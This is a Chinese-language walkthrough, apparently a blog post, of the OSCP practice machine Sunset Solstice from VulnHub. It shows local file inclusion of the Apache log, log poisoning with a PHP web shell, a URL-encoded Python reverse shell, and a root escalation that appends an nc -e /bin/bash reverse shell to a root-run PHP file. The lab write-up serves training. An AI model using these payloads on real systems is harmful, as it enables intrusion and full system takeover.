当前位置: 首页 > news >正文

OSCP官方靶场-Solstice WP

官方网页打开或靶场下载链接

https://www.vulnhub.com/entry/sunset-solstice,499/

image-20250709230105370

信息收集

靶机地址:

192.168.149.72

扫描开放的端口,使用VPN扫描又挂代理的话,又一定记录扫漏了。考试时候建议用官方的My kali先扫一遍,是最快最全的。

ports=$(sudo nmap -p- --min-rate=10000 -Pn 192.168.149.72 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
sudo nmap --script=vuln -p$ports -Pn 192.168.149.72
sudo nmap -sU --min-rate 10000 -p- -Pn 192.168.149.72

image-20250709234112729

image-20250709234224375

再次细致的扫描端口上的组件和版本信息,这里VPN断了,所以没有扫除具体信息。从之前用官方的My Kali扫描的信息能获得一些端口的信息。

sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.149.72

从之前的扫描信息中看,除了80端口,还有8593端口也开放,一个一个点开了看看有什么。

文件包含

从8593端口的链接方式猜测似乎有文件包含漏洞

image-20250709231401434

image-20250709231520705

../../../../../../../../../var/log/apache2/access.log

image-20250709231630557

log文件投毒

可以看到log文件中记录了请求头,我们下一步在请求头中写入一句话木马,就可以把log污染成马。

image-20250709232242474

到这里链接断了,换了重启靶机后IP更换为 192.168.196.72,用Win本机的Burp抓不上包改用命令行注入

echo -e "GET / HTTP/1.1\r\nHost: 192.168.51.72\r\nUser-Agent: <?php system(\$_GET['cmd']); ?>\r\nConnection: close\r\n\r\n" | nc 192.168.51.72 80
或者
nc 192.168.43.127 80
回车输入GET /<?php system($_GET['cmd']); ?> HTTP/1.1

或者也可以用浏览器工具,但是这个似乎不成功。image-20250710003309613

image-20250710004546301

反弹Shell

然后把命令换成反弹shell的命令,这个本机的地址

image-20250710185857832

python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22192.168.45.180%22%2C4777%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27

image-20250710190001303

image-20250710190610339

提权

输入以下命令查找有root权限的文件和进程

ps -aux | grep root

image-20250710190828278

可以发现在/var/tmp/sv/目录下似乎有一些奇特的东西

image-20250710191018509

这是一个php文件,是网页主页的文件,从命令来看,他开在57端口。下一步的思路就是,把这个php改成能提权弹shell的木马。然后访问57端口就能激活这个一句话木马。

echo "<?php system('nc 192.168.45.180 4445 -e /bin/bash')?>" >> index.php

image-20250710191449724

57这个端口没有对外开放,所以我们只能在shell上弹一下。

.\nc.exe -lvnp 4445
curl 127.0.0.1:57/index.php

image-20250710191917323

image-20250710192103336

image-20250710192817296

补充知识点

/usr/sbin/nologin和**/bin/bash**的区别

特性/usr/sbin/nologin/bin/bash
基本用途禁止交互式登录允许交互式命令行操作
用户类型系统服务账户(如 mysql, www-data)普通用户或管理员账户
登录行为▶ 拒绝登录 ▶ 显示预设提示信息(默认或自定义)▶ 允许登录 ▶ 启动 Bash 交互环境
Shell 功能无执行能力(仅返回错误信息)完整命令行解释器(支持脚本/命令)
自定义提示支持(通过 /etc/nologin.txt 文件)通过 ~/.bashrc 自定义
典型应用场景守护进程账户 FTP虚拟用户 安全锁账户普通用户登录 管理员维护 开发环境
检查命令grep nologin /etc/passwdgrep bash /etc/passwd
详细说明
  1. /usr/sbin/nologin

    • 安全隔离机制:阻止账户获得任何交互式 Shell

    • 工作流程:

      1. 用户尝试登录(SSH/FTP/控制台)
      2. 系统显示拒绝信息(默认:“This account is currently not available.”)
      3. 立即终止会话
    • 自定义提示:

      echo "管理员专用账户,禁止登录" > /etc/nologin.txt
      
    • 典型配置示例

      (/etc/passwd):

      ftpuser:x:1001:1001::/var/ftp:/usr/sbin/nologin
      
  2. /bin/bash

    • 全功能交互环境:

      • 支持命令执行、脚本运行、作业控制
      • 配置文件:~/.bashrc, ~/.profile
    • 开发/运维能力:

      # 允许运行所有命令
      $ vim /etc/config
      $ systemctl restart service
      
⚠️ 重要安全建议
  • 系统服务账户 必须使用 nologin(如 MySQL/Nginx 账户)
  • 普通用户 仅在必要时应获得 bash 权限
  • 临时锁定账户usermod -s /usr/sbin/nologin username
  • 解锁账户usermod -s /bin/bash username

推荐小工具rlwarp

可以让反弹shell用上下键快捷切换历史命令,而不是输入一堆[A[A[A[A

sudo apt-get install rlwrap
# 原版nc
nc -nlvp 4444
# 能上下翻历史命令的nc
rlwarp -cAr nc -nlvp 4444

推荐小工具peass小豌豆

https://github.com/peass-ng/PEASS-ng

能够扫描分析初步获得权限的设备上可以的文件。

http://www.dtcms.com/a/273395.html

相关文章:

  • 【第二节】ubuntu server配置静态IP
  • (思维)洛谷 P3081 USACO13MAR Hill Walk 题解
  • 网络安全基础概念以及虚拟环境的搭建
  • alpinelinux的网络配置
  • ZW3D 二次开发-创建六面体方框
  • 力扣面试150题--全排列
  • AOSP自启动拦截框架Intent Firewall
  • 反向传播notes
  • 敏捷测试中的质量闸门如何设置?
  • 位运算算法题
  • 第七讲:C++中的string类
  • 深度学习参数初始化方法详解及代码实现
  • 深度学习×第7卷:参数初始化与网络搭建——她第一次挑好初始的重量
  • ZW3D 二次开发-创建椭球体
  • 灰度发布策略制定方案时可以参考的几个维度
  • 递推+高精度加法 P1255 数楼梯
  • apt -y参数的含义
  • 计算机视觉 之 数字图像处理基础(一)
  • Kubernetes 1.23.6 kube-scheduler 默认打分和排序机制详解
  • 多商户商城系统源码选型指南:开源 vs 定制,哪种更适合?
  • 救回多年未用kubeadm搭建的kubernetes集群
  • 5. isaac sim4.2 教程-Core API-操作机械臂
  • 用黑盒测试与白盒测试,读懂专利审查的 “双重关卡”​​
  • K8S的CNI之calico插件升级至3.30.2
  • 深度学习中的 Seq2Seq 模型与注意力机制
  • 解释sync.WaitGroup的用途和工作原理。在什么情况下应该使用它?
  • 时间显示 蓝桥云课Java
  • Android ViewBinding 使用与封装教程​​
  • Netron的基本使用介绍
  • UNet改进(20):融合通道-空间稀疏注意力的医学图像分割模型